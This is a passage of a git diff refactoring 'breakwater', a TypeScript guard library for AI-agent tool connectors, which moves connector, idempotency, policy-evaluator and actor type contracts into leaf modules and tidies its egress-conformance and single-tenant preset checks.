'globalThis.fetch' && - attempt.host !== null && - hostDeclared(attempt.host, probeManifest.egress ?? []), - ); - const missingAudit = !boundaryError && witnesses.length === 0; - if (missingFetch || missingAudit) { - recordCase({ - code: 'POLICIES_NOT_WIRED', - member: missingFetch - ? missingAudit - ? 'both' - : 'fetch' - : 'audit', - reason: missingFetch - ? 'either the factory did not wire policies.fetch, or the connector called the ambient global directly for a host it declares; the escape record beside this finding is authoritative for the request itself.' + - (missingAudit - ? ' The subject recorded no audit witness on the supplied logger.' - : '') - : 'the subject reached its gate boundary but recorded no audit witness on the supplied logger; wire policies.audit', - }); - } - if (boundaryError && witnesses.length === 0) { - recordCase({ - code: 'CASE_EXPECTATION_UNMET', - reason: - "the case produced no audit event because the connector's gate boundary was never reached; a pre-boundary refusal is not expressible by any expectation and belongs in an ordinary connector test", - }); - } else { - proved = witnesses.some( - (event) => - event.decision === 'denied' && - event.policyKind === 'egress-fetch', - ) - ? 'guarded-denial' - : witnesses.some( - (event) => - event.decision === 'denied' && - event.policyKind !== 'egress-fetch', - ) - ? 'policy-denied' - : guardedHosts.length > 0 - ? 'guarded-request' - : 'no-network'; - const expected = c.expect; - const evidenceMatches = - expected.outcome === 'guarded-request' - ? expected.hosts.every((host) => - guardedHosts.some((actual) => - egressDomainAllowed(actual, [host]), - ), - ) - : expected.outcome === 'no-network' || - witnesses.some( - (event) => event.decisionCode === expected.code, - ); - if (proved !== expected.outcome || !evidenceMatches) { - recordCase({ - code: 'CASE_EXPECTATION_UNMET', - reason: `case expected ${expected.outcome} but proved ${proved}, or its required hosts or code were not observed`, - }); - } - } - } + // An invocation failure under a replaced instrument or a timeout + // raises no CASE_INVOCATION_FAILED of its own: the case is + // ineligible, and the INSTRUMENTATION_REPLACED or CASE_TIMEOUT + // finding beside it is why it proves nothing. + const observation: CaseObservation = + invoked && !timedOut && instrumentationIntact + ? observeCase( + { + expect: c.expect, + declaredEgress, + escapes: caseEscapes, + auditEvents: caseAuditEvents, + witnesses, + transportCalls, + transportHosts: caseTransport?.hosts() ?? [], + invocation, + }, + recordCase, + ) + : { proved: 'nothing', guardedHosts: [], decisionCodes: [] }; cases.push({ name: caseName, - proved, - guardedHosts, + proved: observation.proved, + guardedHosts: observation.guardedHosts, escapes: caseEscapes, - decisionCodes, + decisionCodes: observation.decisionCodes, transportCalls, auditEvents: witnesses.length, findings: [...caseFindings], }); + findingSink.close(); + const restorationFailed = + !caseInstall.restored || !restoredAfterCase; const stoppingCode = timedOut ? 'CASE_TIMEOUT' - : caseFindings.some( - (f) => f.code === 'INSTRUMENTATION_NOT_RESTORED', - ) + : restorationFailed ? 'INSTRUMENTATION_NOT_RESTORED' : undefined; if (stoppingCode !== undefined) { @@ -1260,7 +1540,7 @@ export function createConformanceAssertion(collaborators: { if ( invokedAny && !stopped && - (probeManifest.egress?.length ?? 0) > 0 && + declaredEgress.length > 0 && !cases.some((c) => c.transportCalls > 0) ) { recordRun({ @@ -1274,8 +1554,7 @@ export function createConformanceAssertion(collaborators: { } finally { activeRun = undefined; } - runClosed = true; - const runFindings = [...findings]; + const runFindings = closeRun(); const report: ConnectorConformanceReport = { conformant: runFindings.length === 0, ...(posture === undefined ? {} : { posture }), @@ -1284,7 +1563,7 @@ export function createConformanceAssertion(collaborators: { findings: runFindings, limit: CONFORMANCE_LIMIT, }; - if (!report.conformant) refuseRun(report.findings, report); + if (!report.conformant) refuseReport(report); return report; }; } diff --git a/packages/breakwater/src/connector-sdk/idempotency-migration.ts b/packages/breakwater/src/connector-sdk/idempotency-migration.ts index e39e6d25..03992eae 100644 --- a/packages/breakwater/src/connector-sdk/idempotency-migration.ts +++ b/packages/breakwater/src/connector-sdk/idempotency-migration.ts @@ -1,6 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 -import type { IdempotencyInspection, IdempotencyRecord } from './index.js'; +import type { IdempotencyInspection, IdempotencyRecord } from './contracts.js'; export interface AtomicLegacyIdempotencyMigrationRequest { sourceKey: string; diff --git a/packages/breakwater/src/connector-sdk/index.ts b/packages/breakwater/src/connector-sdk/index.ts index 0bc167b7..877c79ea 100644 --- a/packages/breakwater/src/connector-sdk/index.ts +++ b/packages/breakwater/src/connector-sdk/index.ts @@ -8,7 +8,7 @@ import { } from '@mastra/core/schema'; import type { Tool, ToolExecutionContext } from '@mastra/core/tools'; import { createTool, isValidationError, noopObserve } from '@mastra/core/tools'; -import { type AuditLogger, agentAuditDetail } from '../audit/index.js'; +import { agentAuditDetail } from '../audit/index.js'; import { safeAuditErrorSummary } from '../audit/safe-error.js'; import { CONNECTOR_DECISIONS, @@ -26,11 +26,8 @@ import { readProperty, } from '../connector-decision.js'; import type { - NetworkEgressOptions, - SideEffect, ToolCallContext, ToolPolicyEvaluator, - WritePermissionsPolicy, } from '../policy-engine/tool-policy.js'; import { approvalRequired, @@ -47,13 +44,27 @@ import { isPrincipalPermissions, PRINCIPAL_PERMISSIONS_CONTEXT_KEY, } from '../rbac/permission.js'; +import type { + AtomicIdempotencyStore, + Connector, + ConnectorEgressPosture, + ConnectorInvocationOptions, + ConnectorPolicies, + IdempotencyInspection, + IdempotencyRecord, + IdempotencyReservation, + IdempotencyStore, + InspectableIdempotencyStore, + PermissionManifest, + RateLimitStore, +} from './contracts.js'; import { type ConnectorConformanceFactory, type ConnectorConformanceOptions, type ConnectorConformanceReport, createConformanceAssertion, } from './egress-conformance.js'; -import type { EgressFetchBase, EgressGuardedFetch } from './egress-fetch.js'; +import type { EgressGuardedFetch } from './egress-fetch.js'; import { EgressDeniedError, EgressGuardError, @@ -76,74 +87,11 @@ import { import { newToken } from './new-token.js'; import { assertSingleTenantConnectorPolicies } from './single-tenant-preset.js'; -/** Whether a connector's declared egress binds its actual traffic. */ -export type ConnectorEgressPosture = 'enforced' | 'declaration-only'; - -/** Permission manifest — what the connector declares about itself. */ -export interface PermissionManifest { - /** Worst side effect the connector can cause. */ - sideEffect: SideEffect; - /** Hostnames this connector calls; gated by the networkEgress policy. */ - egress?: readonly string[]; - /** - * Whether the declared `egress` binds the connector's actual traffic. - * 'enforced' asserts every HTTP request leaves through - * `ConnectorRuntime.fetch`. It covers a connector that issues no HTTP - * request at all; it is a claim about HTTP traffic, not about platform - * bindings (D1, KV, R2, service bindings), which the guard never sees. - * 'declaration-only' states that a vendor SDK or child process carries its - * own transport, so the list is checked against organization policy but not - * against sockets. An omitted field resolves to 'declaration-only': - * nothing has proven enforcement. `connectorEgressPosture()` reads the - * resolved value. - */ - egressEnforcement?: ConnectorEgressPosture; - /** - * Caller must supply a per-call idempotency key - * (IDEMPOTENCY_KEY_CONTEXT_KEY in requestContext). Replays of a stored - * key return the stored result without re-executing. - */ - idempotencyKey?: boolean; - /** Always require human approval, regardless of org policy. */ - requiresApproval?: boolean; - /** - * Connector supports side-effect-free simulation: requires - * `ConnectorConfig.dryRunExecute`. Callers request a simulation per call - * by setting requestContext DRY_RUN_CONTEXT_KEY to true. - */ - dryRun?: boolean; - /** - * Execution budget as '/' — e.g. '100/min'; units are the - * singular s|sec|second|m|min|minute|h|hour|d|day. Enforced with fixed - * windows against `policies.rateLimitStore`; only actual executions - * consume budget (denied calls, replays, and shared in-flight joins do - * not). - */ - rateLimit?: string; - /** - * Allow Mastra background intent for this connector. The default is - * foreground-only. Only a read-only connector may enable this field; - * write-class connectors fail at construction. - */ - background?: boolean; - /** - * Server-derived permissions required to invoke this connector, with - * explicit ALL-OF semantics: the executing principal must hold every - * listed identifier. Enforced against the trusted - * `breakwater.principalPermissions` projection BEFORE the dry-run branch - * and the approval-grant gate — authorization applies to simulations too, - * and a valid approval must not elevate an unauthorized principal. A call - * with no valid projection fails closed. Omission preserves the existing - * approval/policy-only behavior; a present list must be non-empty. - */ - requiredPermissions?: readonly Permission[]; -} - -/** Completed result stored for idempotent replay. */ -export interface IdempotencyRecord { - /** Connector result returned by future calls with the same scoped key. */ - result: unknown; -} +export type { + ConnectorEgressPosture, + IdempotencyRecord, + PermissionManifest, +} from './contracts.js'; /** Business identity used to inspect one legacy connector idempotency row. */ export interface LegacyConnectorIdempotencyIdentity { @@ -170,96 +118,13 @@ export type LegacyConnectorIdempotencyMigrationResult = | { state: 'target-conflict'; target: IdempotencyInspection } | { state: 'output-invalid'; issues: readonly StandardSchemaIssue[] }; -/** - * Result storage keyed by a private, versioned composite key. Callers must - * treat keys as opaque. The record wrapper distinguishes a stored undefined - * result from a miss. - * - * get/put plus the wrapper's in-flight dedup close same-isolate races only. - * Durable implementations (D1/KV) must implement AtomicIdempotencyStore — - * its reserve() claim is what stops two isolates racing one key from both - * missing get() and both executing. D1IdempotencyStore ships that shape. - */ -export interface IdempotencyStore { - /** Return the completed record for a scoped key, or `undefined` on a miss. */ - get( - key: string, - ): IdempotencyRecord | undefined | Promise; - /** - * Finalize a key's record. `token` is the lease returned by an atomic - * reserve(): when supplied, the store finalizes ONLY if the key still - * belongs to that lease. A stale holder whose lease was taken over cannot - * overwrite the new result. Omit the token on the legacy get/put path, - * which upserts - * unconditionally (same-isolate protection only). - */ - put( - key: string, - record: IdempotencyRecord, - token?: string, - ): void | Promise; -} - -/** - * Outcome of an atomic reservation: execute a newly reserved key, replay a - * completed record, or report that another isolate still owns the key. - */ -export type IdempotencyReservation = - | { - /** This caller owns the reservation and may execute. */ - state: 'reserved'; - /** Opaque lease required to finalize or release the reservation. */ - token: string; - /** Whether this reservation replaced a stale pending holder. */ - tookOver?: boolean; - } - | { - /** A completed result exists and must be replayed without execution. */ - state: 'replay'; - /** Completed result associated with the key. */ - record: IdempotencyRecord; - } - | { - /** Another isolate owns a non-stale reservation. */ - state: 'pending'; - }; - -/** - * Idempotency store with an atomic claim — the shape durable, cross-isolate - * implementations must take: reserve() is a compare-and-set, so two isolates - * racing one key resolve to exactly one 'reserved' winner. The connector - * wrapper prefers this path whenever a store implements it. - */ -export interface AtomicIdempotencyStore extends IdempotencyStore { - /** Atomically reserve a scoped key or return its current state. */ - reserve( - key: string, - ): IdempotencyReservation | Promise; - /** - * Drop a pending reservation after a failed execute — failures stay - * retryable. `token` is the lease from reserve(): when supplied, only the - * matching lease's pending row is dropped, so a stale holder cannot delete - * a newer claim. - */ - release(key: string, token?: string): void | Promise; -} - -/** Non-mutating state returned by an inspectable idempotency store. */ -export type IdempotencyInspection = - | { state: 'absent' } - | { state: 'pending' } - | { state: 'replay'; record: IdempotencyRecord }; - -/** - * Idempotency store that can distinguish an absent key from a pending claim - * without reserving it. Atomic stores need this capability during the v1-to-v2 - * composite-key transition so legacy pending work cannot be mistaken for a - * miss and executed again. - */ -export interface InspectableIdempotencyStore extends IdempotencyStore { - /** Inspect a key without reserving, finalizing, or releasing it. */ - inspect(key: string): IdempotencyInspection | Promise; -} +export type { + AtomicIdempotencyStore, + IdempotencyInspection, + IdempotencyReservation, + IdempotencyStore, + InspectableIdempotencyStore, +} from './contracts.js'; function isAtomicStore( store: IdempotencyStore, @@ -474,25 +339,7 @@ export class InMemoryIdempotencyStore } } -/** - * Fixed-window rate-limit counters keyed by connector id. Implementations - * back the manifest's `rateLimit` budget. The store's reach IS the budget's - * reach: InMemoryRateLimitStore caps per isolate (per RUN under DO-per-run - * routing); a declared cap that must hold across isolates needs - * D1RateLimitStore (or an equivalent shared store). - */ -export interface RateLimitStore { - /** - * Atomically count one call against the connector's current fixed window - * and return the post-increment count. `now` is caller-supplied epoch ms - * so stores stay clock-free. - */ - increment( - key: string, - windowMs: number, - now: number, - ): number | Promise; -} +export type { RateLimitStore } from './contracts.js'; /** Dev/test store — per-isolate fixed windows, replaced on rollover. */ export class InMemoryRateLimitStore implements RateLimitStore { @@ -512,43 +359,7 @@ export class InMemoryRateLimitStore implements RateLimitStore { } } -/** Org-level policy bindings enforced by the connector's execute wrapper. */ -export interface ConnectorPolicies { - /** Organization allowlist applied to the manifest's declared hosts. */ - networkEgress?: NetworkEgressOptions; - /** Organization approval rules for write-class connector IDs. */ - writePermissions?: WritePermissionsPolicy; - /** - * Custom tool-boundary evaluators, run pre-execute after the built-in - * network-egress gate, in registration order. - */ - evaluators?: readonly ToolPolicyEvaluator[]; - /** Store used when the manifest requires an idempotency key. */ - idempotencyStore?: IdempotencyStore; - /** - * Explicit v2 composite-key rollout acknowledgement. Set only after every - * legacy writer sharing the store has been stopped and drained and legacy - * rows have been inventoried. Without it, an absent legacy key fails closed - * instead of racing an old writer that could still create a v1 record. - */ - idempotencyKeyMigration?: 'legacy-writers-drained'; - /** Required when the manifest declares `rateLimit`. */ - rateLimitStore?: RateLimitStore; - /** Optional audit logger for connector decisions and failures. */ - audit?: AuditLogger; - /** - * Base fetch the per-call egress guard wraps before handing it to - * `execute` as `ConnectorRuntime.fetch` (tests inject the vendor mock - * here). Defaults to the runtime's global fetch. - */ - fetch?: EgressFetchBase; - /** - * Refuse, at construction, any connector whose resolved egress posture is not - * 'enforced'. Set it on a deployment with no container, VM, or network policy - * behind ConnectorRuntime.fetch, where the guarded fetch is the only boundary. - */ - requireEgressEnforcement?: true; -} +export type { ConnectorPolicies } from './contracts.js'; /** * Per-execution runtime handed to `execute`/`dryRunExecute` as the third @@ -560,10 +371,9 @@ export interface ConnectorPolicies { * actual ⊆ declared ⊆ org-allowed. A manifest with no `egress` gets a fetch * that denies everything. A vendor SDK carrying its own HTTP stack bypasses * the guard — route its traffic through this fetch (most SDKs accept a - * fetch/transport option) or that connector's egress posture degrades to - * declaration-only — the posture a manifest declares as - * `permissions.egressEnforcement: 'declaration-only'` and - * `connectorEgressPosture()` reads back. + * fetch/transport option), or declare that connector + * `permissions.egressEnforcement: 'declaration-only'`, the posture + * `connectorEgressPosture()` then reads back. */ export interface ConnectorRuntime { /** Fetch guarded by the connector manifest's declared egress hosts. */ @@ -610,25 +420,7 @@ export interface ConnectorConfig { policies?: ConnectorPolicies; } -/** Breakwater connector with the execution function guaranteed at construction. */ -export type Connector = Tool< - TInput, - TOutput -> & { - execute: NonNullable['execute']>; -}; - -/** Trusted host context accepted by {@link invokeConnector}. */ -export interface ConnectorInvocationOptions { - /** Request context carrying trusted policy, identity, and grant values. */ - requestContext?: RequestContext; - /** Abort signal forwarded to the connector execution context. */ - abortSignal?: AbortSignal; - /** Mastra observability helper, or the public no-op helper when omitted. */ - observe?: ToolExecutionContext['observe']; - /** Exact Mastra tool-call identity used to match a tool-call approval grant. */ - toolCallId?: string; -} +export type { Connector, ConnectorInvocationOptions } from './contracts.js'; /** Exact suspension identity shared by a resume leg and its grants. */ export interface ConnectorApprovalSuspension { @@ -754,13 +546,21 @@ export function connectorManifest( return manifests.get(tool); } +// Resolves the omitted-field default for both the readback below and the value +// createConnector gates on and audits, so the two cannot drift apart. +function resolveEgressPosture( + manifest: PermissionManifest, +): ConnectorEgressPosture { + return manifest.egressEnforcement ?? 'declaration-only'; +} + /** Resolved egress posture; `undefined` for a tool createConnector did not build. */ export function connectorEgressPosture( tool: object, ): ConnectorEgressPosture | undefined { const manifest = manifests.get(tool); if (manifest === undefined) return undefined; - return manifest.egressEnforcement ?? 'declaration-only'; + return resolveEgressPosture(manifest); } function assertLegacyMigrationIdentity( @@ -1097,9 +897,6 @@ export function createConnector( egress: Object.freeze([...(config.permissions.egress ?? [])]), ...(requiredPermissions !== undefined ? { requiredPermissions } : {}), }); - const egressEnforcement: ConnectorEgressPosture = - manifest.egressEnforcement ?? 'declaration-only'; - assertEgressHostList( manifest.egress ?? [], (entry) => @@ -1161,9 +958,10 @@ export function createConnector( `connector ${id}: permissions.egressEnforcement must be 'enforced' or 'declaration-only'`, ); } + const egressEnforcement = resolveEgressPosture(manifest); if (policies.requireEgressEnforcement && egressEnforcement !== 'enforced') { throw new TypeError( - `connector ${id}: policies.requireEgressEnforcement refuses a connector whose permissions.egressEnforcement is not 'enforced' (this deployment has no network boundary behind ConnectorRuntime.fetch)`, + `connector ${id}: policies.requireEgressEnforcement refuses a connector whose permissions.egressEnforcement is not 'enforced'`, ); } // v1: only a read-only connector may opt into background execution (DL-005). @@ -1282,11 +1080,11 @@ export function createConnector( detail: Record = {}, ): void { if (isInstanceOf(error, OutputValidationFailure)) return; - // This connector's own policy denials (e.g. the rate-limit gate inside - // a keyed attempt) were already audited by deny(); a second 'execute - // threw' record would misattribute them to the connector's code. A - // NESTED connector's denial still records here — that composite call - // did fail in execute. + // A policy denial this connector recognises as its own (e.g. the + // rate-limit gate inside a keyed attempt) was already audited by deny(); + // a second 'execute threw' record would misattribute it to the + // connector's code. A NESTED connector's denial still records here — that + // composite call did fail in execute. if ( isInstanceOf(error, ConnectorPolicyError) && readProperty(error, 'connector') === id @@ -2077,6 +1875,8 @@ export function createConnector( try { targetResult = validateOutput(expectedRecord.result as TOutput); } catch (error) { + // validateOutput normalises every throw to this type, so the operand + // is one the SDK constructed and carries no prototype trap. if (error instanceof OutputValidationFailure) { if (error.kind === 'issues') { return { state: 'output-invalid', issues: error.issues }; @@ -2208,8 +2008,6 @@ export type { IdempotencyDatabase, IdempotencyStatement, } from './d1-idempotency-store.js'; -// Durable D1-backed stores (kept in their own modules; only type imports -// flow back into this one, so there is no runtime cycle). export { D1IdempotencyStore } from './d1-idempotency-store.js'; export type { D1RateLimitStoreOptions, @@ -2226,7 +2024,6 @@ export const assertConnectorConformance: ( connectorEgressPosture, invokeConnector, }); -// egress-conformance.ts imports only types from this module; its runtime collaborators are the three bound above. export type { ConnectorConformanceCase, ConnectorConformanceCaseResult, diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts index 4eb79085..9910a54a 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.test.ts @@ -77,6 +77,22 @@ describe('singleTenantConnectorPolicies', () => { ).toThrow(/requireEgressEnforcement/); }); + it('leaves requireEgressEnforcement off a preset built without it', () => { + // #given + const policies = singleTenantConnectorPolicies(productionOptions()); + // #when + const connector = createConnector({ + id: 'records.undeclared', + description: 'Read without declaring a posture', + permissions: { sideEffect: 'read' }, + policies, + execute: async () => ({ ok: true }), + }); + // #then + expect(policies).not.toHaveProperty('requireEgressEnforcement'); + expect(connectorEgressPosture(connector)).toBe('declaration-only'); + }); + it('refuses a preset whose requireEgressEnforcement was added after validation', () => { // #given const baseline = singleTenantConnectorPolicies(productionOptions()); diff --git a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts index 9db94a74..4133e2d0 100644 --- a/packages/breakwater/src/connector-sdk/single-tenant-preset.ts +++ b/packages/breakwater/src/connector-sdk/single-tenant-preset.ts @@ -15,16 +15,16 @@ import { isTenantIsolationEvaluator, networkEgress, } from '../policy-engine/tool-policy.js'; -import { D1IdempotencyStore } from './d1-idempotency-store.js'; -import { D1RateLimitStore } from './d1-rate-limit-store.js'; -import type { EgressFetchBase } from './egress-fetch.js'; import type { AtomicIdempotencyStore, ConnectorPolicies, InspectableIdempotencyStore, PermissionManifest, RateLimitStore, -} from './index.js'; +} from './contracts.js'; +import { D1IdempotencyStore } from './d1-idempotency-store.js'; +import { D1RateLimitStore } from './d1-rate-limit-store.js'; +import type { EgressFetchBase } from './egress-fetch.js'; const auditRecordMethod = AuditLogger.prototype.record; const auditHasExternalSinkMethod = AuditLogger.prototype.hasExternalSink; @@ -229,6 +229,21 @@ function snapshotRateLimitStore(store: D1RateLimitStore): RateLimitStore { }); } +// Policy members the preset pins between validation and construction. The +// order decides which member a multi-member tamper is reported against, since +// the first mismatch throws. +const PINNED_PRESET_MEMBERS: readonly (keyof ConnectorPolicies)[] = [ + 'networkEgress', + 'idempotencyKeyMigration', + 'writePermissions', + 'evaluators', + 'idempotencyStore', + 'rateLimitStore', + 'audit', + 'fetch', + 'requireEgressEnforcement', +]; + function assertUnchangedSurface( connectorId: string, name: keyof ConnectorPolicies, @@ -358,60 +373,16 @@ export function assertSingleTenantConnectorPolicies( }; } - const currentNetworkEgress = policies.networkEgress; - const currentWritePermissions = policies.writePermissions; - const currentEvaluators = policies.evaluators; - const currentIdempotencyStore = policies.idempotencyStore; - const currentIdempotencyKeyMigration = policies.idempotencyKeyMigration; - const currentRateLimitStore = policies.rateLimitStore; const currentAudit = policies.audit; - const currentFetch = policies.fetch; - const currentRequireEgressEnforcement = policies.requireEgressEnforcement; const baseline = metadata.snapshot.policies; - assertUnchangedSurface( - connectorId, - 'networkEgress', - currentNetworkEgress, - baseline.networkEgress, - ); - assertUnchangedSurface( - connectorId, - 'idempotencyKeyMigration', - currentIdempotencyKeyMigration, - baseline.idempotencyKeyMigration, - ); - assertUnchangedSurface( - connectorId, - 'writePermissions', - currentWritePermissions, - baseline.writePermissions, - ); - assertUnchangedSurface( - connectorId, - 'evaluators', - currentEvaluators, - baseline.evaluators, - ); - assertUnchangedSurface( - connectorId, - 'idempotencyStore', - currentIdempotencyStore, - baseline.idempotencyStore, - ); - assertUnchangedSurface( - connectorId, - 'rateLimitStore', - currentRateLimitStore, - baseline.rateLimitStore, - ); - assertUnchangedSurface(connectorId, 'audit', currentAudit, baseline.audit); - assertUnchangedSurface(connectorId, 'fetch', currentFetch, baseline.fetch); - assertUnchangedSurface( - connectorId, - 'requireEgressEnforcement', - currentRequireEgressEnforcement, - baseline.requireEgressEnforcement, - ); + for (const member of PINNED_PRESET_MEMBERS) { + assertUnchangedSurface( + connectorId, + member, + policies[member], + baseline[member], + ); + } if ( currentAudit !== undefined && currentAudit.record !== metadata.snapshot.auditMember diff --git a/packages/breakwater/src/policy-engine/content-inspection.ts b/packages/breakwater/src/policy-engine/content-inspection.ts index 78ccafed..16b238d0 100644 --- a/packages/breakwater/src/policy-engine/content-inspection.ts +++ b/packages/breakwater/src/policy-engine/content-inspection.ts @@ -6,7 +6,11 @@ // model call) evaluated on a streaming cadence. Both are best-effort — see // each export's doc for its accepted evasion surface. -import type { OutputChannel, PolicyEvaluator, PolicyPhase } from './index.js'; +import type { + OutputChannel, + PolicyEvaluator, + PolicyPhase, +} from './evaluator-contract.js'; import type { PolicyDecision } from './tool-policy.js'; // --------------------------------------------------------------------------- diff --git a/packages/breakwater/src/policy-engine/evaluator-contract.ts b/packages/breakwater/src/policy-engine/evaluator-contract.ts new file mode 100644 index 00000000..e3a561f0 --- /dev/null +++ b/packages/breakwater/src/policy-engine/evaluator-contract.ts @@ -0,0 +1,83 @@ +// SPDX-License-Identifier: Apache-2.0 +// Evaluator contract — the phase, channel, context and evaluator shapes a +// policy is written against. +// +// A type-only leaf, so content-inspection.ts and any other evaluator module +// take the contract without importing the barrel that imports them back. + +import type { MastraDBMessage } from '@mastra/core/agent/message-list'; +import type { RequestContext } from '@mastra/core/request-context'; + +import type { PolicyDecision } from './tool-policy.js'; + +/** Agent lifecycle phase evaluated by a policy. */ +export type PolicyPhase = 'input' | 'output'; + +/** + * Which output surface the gated text belongs to. 'answer' is the + * client-visible answer text (and the channel input gating always runs + * under); 'reasoning' is the model's reasoning trace; 'object' is structured + * output, gated as the canonical JSON latest snapshot. + * + * Under the supported `@mastra/core` peer, the engine sees the `object` + * channel only for object chunks that flow through the processor chain + * (model-native streaming). A `generate()` result's parsed object and core's + * `StructuredOutputProcessor` chunks never pass through the chain. + * `createGuardedAgent` rejects structured output because a wrapper gate would + * run only after Mastra had exposed the parsed value. An object-only policy + * still requires an audit sink so a standalone engine records a fail-closed + * result-phase coverage error. + */ +export type OutputChannel = 'answer' | 'reasoning' | 'object'; + +/** Input passed to one policy evaluation. */ +export interface PolicyContext { + /** Lifecycle phase being evaluated. */ + phase: PolicyPhase; + /** Output channel `text` came from. Always 'answer' in the input phase. */ + channel: OutputChannel; + /** + * The gated messages. Empty during streaming output — processOutputStream + * exposes no discrete messages — and empty at a standalone + * `createContentPolicyGate` boundary, which has only the rendered text. The + * shipped evaluators read only `text`. + */ + messages: MastraDBMessage[]; + /** + * Concatenated text of the gated content: input messages, one channel of + * the streamed output accumulated so far, or the final output result. + */ + text: string; + /** Mastra request context associated with the agent call. */ + requestContext?: RequestContext; + /** + * Streaming only: a scratch object private to this policy instance that + * persists across the chunks of one stream (absent in the input/result + * phases). Evaluators MAY keep incremental-scan cursors here (see + * denyPatterns); evaluators that ignore it stay pure and re-scan `text`. + */ + streamState?: Record; +} + +/** Policy evaluated by `PolicyEngine` at selected phases and channels. */ +export interface PolicyEvaluator { + /** Stable policy name used in audit events and denial messages. */ + name: string; + /** Phases this policy gates. Default: both. */ + phases?: readonly PolicyPhase[]; + /** + * Output channels this policy gates. Default: ['answer'] — evaluators + * written before channels existed keep seeing only client-visible text. + */ + channels?: readonly OutputChannel[]; + /** + * Hold-back hint (chars): the trailing window of streamed text that must + * stay unemitted for this policy to catch a violation straddling the + * emission frontier. Consulted only when the engine's `holdBack` option is + * on. Policies without the hint contribute 0 — hint your evaluator to get + * hold-back coverage. `Infinity` buffers everything until stream finish. + */ + holdBackChars?: number; + /** Decide whether the supplied policy context is allowed. */ + evaluate(context: PolicyContext): PolicyDecision | Promise; +} diff --git a/packages/breakwater/src/policy-engine/index.ts b/packages/breakwater/src/policy-engine/index.ts index ddf4bde6..f1d8a762 100644 --- a/packages/breakwater/src/policy-engine/index.ts +++ b/packages/breakwater/src/policy-engine/index.ts @@ -34,79 +34,20 @@ import { type JSONType, z } from 'zod'; import { type AuditLogger, agentAuditDetail } from '../audit/index.js'; import { type Actor, actorFromRequestContext } from '../rbac/index.js'; +import type { + OutputChannel, + PolicyContext, + PolicyEvaluator, + PolicyPhase, +} from './evaluator-contract.js'; import type { PolicyDecision } from './tool-policy.js'; -/** Agent lifecycle phase evaluated by a policy. */ -export type PolicyPhase = 'input' | 'output'; - -/** - * Which output surface the gated text belongs to. 'answer' is the - * client-visible answer text (and the channel input gating always runs - * under); 'reasoning' is the model's reasoning trace; 'object' is structured - * output, gated as the canonical JSON latest snapshot. - * - * Under the supported `@mastra/core` peer, the engine sees the `object` - * channel only for object chunks that flow through the processor chain - * (model-native streaming). A `generate()` result's parsed object and core's - * `StructuredOutputProcessor` chunks never pass through the chain. - * `createGuardedAgent` rejects structured output because a wrapper gate would - * run only after Mastra had exposed the parsed value. An object-only policy - * still requires an audit sink so a standalone engine records a fail-closed - * result-phase coverage error. - */ -export type OutputChannel = 'answer' | 'reasoning' | 'object'; - -/** Input passed to one policy evaluation. */ -export interface PolicyContext { - /** Lifecycle phase being evaluated. */ - phase: PolicyPhase; - /** Output channel `text` came from. Always 'answer' in the input phase. */ - channel: OutputChannel; - /** - * The gated messages. Empty during streaming output — processOutputStream - * exposes no discrete messages — and empty at a standalone - * `createContentPolicyGate` boundary, which has only the rendered text. The - * shipped evaluators read only `text`. - */ - messages: MastraDBMessage[]; - /** - * Concatenated text of the gated content: input messages, one channel of - * the streamed output accumulated so far, or the final output result. - */ - text: string; - /** Mastra request context associated with the agent call. */ - requestContext?: RequestContext; - /** - * Streaming only: a scratch object private to this policy instance that - * persists across the chunks of one stream (absent in the input/result - * phases). Evaluators MAY keep incremental-scan cursors here (see - * denyPatterns); evaluators that ignore it stay pure and re-scan `text`. - */ - streamState?: Record; -} - -/** Policy evaluated by `PolicyEngine` at selected phases and channels. */ -export interface PolicyEvaluator { - /** Stable policy name used in audit events and denial messages. */ - name: string; - /** Phases this policy gates. Default: both. */ - phases?: readonly PolicyPhase[]; - /** - * Output channels this policy gates. Default: ['answer'] — evaluators - * written before channels existed keep seeing only client-visible text. - */ - channels?: readonly OutputChannel[]; - /** - * Hold-back hint (chars): the trailing window of streamed text that must - * stay unemitted for this policy to catch a violation straddling the - * emission frontier. Consulted only when the engine's `holdBack` option is - * on. Policies without the hint contribute 0 — hint your evaluator to get - * hold-back coverage. `Infinity` buffers everything until stream finish. - */ - holdBackChars?: number; - /** Decide whether the supplied policy context is allowed. */ - evaluate(context: PolicyContext): PolicyDecision | Promise; -} +export type { + OutputChannel, + PolicyContext, + PolicyEvaluator, + PolicyPhase, +} from './evaluator-contract.js'; const DEFAULT_CHANNELS: readonly OutputChannel[] = ['answer']; diff --git a/packages/breakwater/src/rbac/actor.ts b/packages/breakwater/src/rbac/actor.ts new file mode 100644 index 00000000..077036b0 --- /dev/null +++ b/packages/breakwater/src/rbac/actor.ts @@ -0,0 +1,25 @@ +// SPDX-License-Identifier: Apache-2.0 +// Actor contract — the identity RBAC authorizes and audit attributes. +// +// A type-only leaf, so `authorize.ts` and `audit/index.ts` take these two +// declarations without importing the barrel that imports them back. + +import type { PrincipalKind } from './principal.js'; + +/** Role labels accepted by the built-in actor contract. */ +export type Role = 'admin' | 'builder' | 'operator' | 'reviewer' | 'viewer'; + +/** Authenticated identity evaluated by RBAC and attached to audit events. */ +export interface Actor { + /** Stable actor identifier from the host authentication system. */ + id: string; + /** + * Role used by the middleware's exact allowlist. Meaningful only for the + * 'human' kind; for automated kinds the role allowlist is not consulted at + * all and hosts should project the least-privileged label. See + * `authorizeActor`. + */ + role: Role; + /** Absent means 'human', so an existing host keeps its exact behavior. */ + kind?: PrincipalKind; +} diff --git a/packages/breakwater/src/rbac/authorize.ts b/packages/breakwater/src/rbac/authorize.ts index 87a58515..ca10343a 100644 --- a/packages/breakwater/src/rbac/authorize.ts +++ b/packages/breakwater/src/rbac/authorize.ts @@ -3,7 +3,7 @@ import type { RequestContext } from '@mastra/core/request-context'; import { type AuditLogger, agentAuditDetail } from '../audit/index.js'; -import type { Actor, Role } from './index.js'; +import type { Actor, Role } from './actor.js'; import { type PrincipalKind, principalKindOf } from './principal.js'; export interface ActorAuthorizationOptions { diff --git a/packages/breakwater/src/rbac/index.ts b/packages/breakwater/src/rbac/index.ts index f22baeff..b060fe92 100644 --- a/packages/breakwater/src/rbac/index.ts +++ b/packages/breakwater/src/rbac/index.ts @@ 